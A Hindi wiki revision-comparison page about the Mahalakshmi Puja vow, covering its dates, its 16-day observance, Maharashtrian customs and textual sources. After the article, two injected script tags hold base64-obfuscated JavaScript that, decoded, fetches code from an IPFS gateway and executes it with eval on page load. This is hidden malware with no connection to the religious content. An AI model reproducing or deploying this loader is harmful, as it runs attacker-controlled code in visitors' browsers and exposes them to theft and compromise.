"महालक्ष्मी पूजा": अवतरणों में अंतर
भारत डिस्कवरी प्रस्तुति
व्यवस्थापन (वार्ता | योगदान) छो (Text replace - "खाली" to "ख़ाली") |
व्यवस्थापन (वार्ता | योगदान) छो (Text replace - "{{लेख प्रगति |आधार=आधार1 |प्रारम्भिक= |माध्यमिक= |पूर्णता= |शोध= }}" to "{{लेख प्रगति |आधार= |प्रारम्भि�) |
||
(2 सदस्यों द्वारा किए गए बीच के 3 अवतरण नहीं दर्शाए गए) | |||
पंक्ति 1: | पंक्ति 1: | ||
*[[भारत]] में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में | *[[भारत]] में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लिखित [[हिन्दू धर्म]] का एक व्रत संस्कार है। | ||
*इस व्रत के विषय में विभिन्न मत हैं। | *इस व्रत के विषय में विभिन्न मत हैं। | ||
*कृत्यसारसमुच्चय<ref>कृत्यसारसमुच्चय<, (पृ0 11 | *कृत्यसारसमुच्चय<ref>कृत्यसारसमुच्चय<, (पृ0 11</ref> एवं अहल्याकामधेनु<ref>अहल्याकामधेनु, (535 बी-539 बी</ref> के मत से-[[भाद्रपद]] [[शुक्ल पक्ष]] की [[अष्टमी]] को आरम्भ तथा [[आषाढ़]] कृष्ण अष्टमी को समाप्त (पूर्णिमान्त गणना) होता है। | ||
*यह 16 दिनों तक चलती है। | *यह 16 दिनों तक चलती है। | ||
*प्रतिदिन महालक्ष्मी पूजा तथा महालक्ष्मी के विषय की गाथाओं का श्रवण होता है। | *प्रतिदिन महालक्ष्मी पूजा तथा महालक्ष्मी के विषय की गाथाओं का श्रवण होता है। | ||
*निर्णयसिन्धु<ref>निर्णयसिन्धु, (पृ0 153-154 | *निर्णयसिन्धु<ref>निर्णयसिन्धु, (पृ0 153-154</ref> में भी यह अवधि दी हुई है, किन्तु पहली बार किये जाने पर पार दोषों से बचना होता है, यथा—अवमदिन न हो, तिथि त्रयःस्पृक् न हो, नवमी से युक्त न हो, सूर्य हस्त नक्षत्र के भाग में न हो। | ||
*[[महाराष्ट्र]] में यह पूजा विवाहित स्त्रियों द्वारा आषाढ़ शुक्ल की नवमी को मध्याह्न में की जाती है और रात्रि में सभी विवाहित नारियाँ एक साथ पूजा करती हैं, ख़ाली घड़ों को हाथ में रखती हैं, उनमें श्वास लेती हैं और अपने शरीर को भाँति-भाँति ढंगों से मोड़ती हैं। | *[[महाराष्ट्र]] में यह पूजा विवाहित स्त्रियों द्वारा आषाढ़ शुक्ल की नवमी को मध्याह्न में की जाती है और रात्रि में सभी विवाहित नारियाँ एक साथ पूजा करती हैं, ख़ाली घड़ों को हाथ में रखती हैं, उनमें श्वास लेती हैं और अपने शरीर को भाँति-भाँति ढंगों से मोड़ती हैं। | ||
*पुरुषार्थचिन्तामणि<ref>पुरुषार्थचिन्तामणि, (129-132 | *पुरुषार्थचिन्तामणि<ref>पुरुषार्थचिन्तामणि, (129-132</ref> में इसके विषय में एक लम्बा विवेचन है। | ||
*इसके मत से यह व्रत नारियों एवं पुरुषों दोनों का है। | *इसके मत से यह व्रत नारियों एवं पुरुषों दोनों का है। | ||
{{प्रचार}} | {{प्रचार}} | ||
{{लेख प्रगति | {{लेख प्रगति |आधार= |प्रारम्भिक=प्रारम्भिक1 |माध्यमिक= |पूर्णता= |शोध= }} | ||
|आधार= | |||
|प्रारम्भिक= | |||
|माध्यमिक= | |||
|पूर्णता= | |||
|शोध= | |||
}} | |||
==अन्य संबंधित लिंक== | ==अन्य संबंधित लिंक== | ||
{{पर्व और त्योहार}} | {{पर्व और त्योहार}} | ||
{{व्रत और उत्सव}} | {{व्रत और उत्सव}} | ||
{{संदर्भ ग्रंथ}} | |||
==टीका टिप्पणी और संदर्भ== | ==टीका टिप्पणी और संदर्भ== | ||
<references/> | <references/> |
07:25, 27 जुलाई 2012 के समय का अवतरण
- भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लिखित हिन्दू धर्म का एक व्रत संस्कार है।
- इस व्रत के विषय में विभिन्न मत हैं।
- कृत्यसारसमुच्चय[1] एवं अहल्याकामधेनु[2] के मत से-भाद्रपद शुक्ल पक्ष की अष्टमी को आरम्भ तथा आषाढ़ कृष्ण अष्टमी को समाप्त (पूर्णिमान्त गणना) होता है।
- यह 16 दिनों तक चलती है।
- प्रतिदिन महालक्ष्मी पूजा तथा महालक्ष्मी के विषय की गाथाओं का श्रवण होता है।
- निर्णयसिन्धु[3] में भी यह अवधि दी हुई है, किन्तु पहली बार किये जाने पर पार दोषों से बचना होता है, यथा—अवमदिन न हो, तिथि त्रयःस्पृक् न हो, नवमी से युक्त न हो, सूर्य हस्त नक्षत्र के भाग में न हो।
- महाराष्ट्र में यह पूजा विवाहित स्त्रियों द्वारा आषाढ़ शुक्ल की नवमी को मध्याह्न में की जाती है और रात्रि में सभी विवाहित नारियाँ एक साथ पूजा करती हैं, ख़ाली घड़ों को हाथ में रखती हैं, उनमें श्वास लेती हैं और अपने शरीर को भाँति-भाँति ढंगों से मोड़ती हैं।
- पुरुषार्थचिन्तामणि[4] में इसके विषय में एक लम्बा विवेचन है।
- इसके मत से यह व्रत नारियों एवं पुरुषों दोनों का है।
|
|
|
|
|
अन्य संबंधित लिंक
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>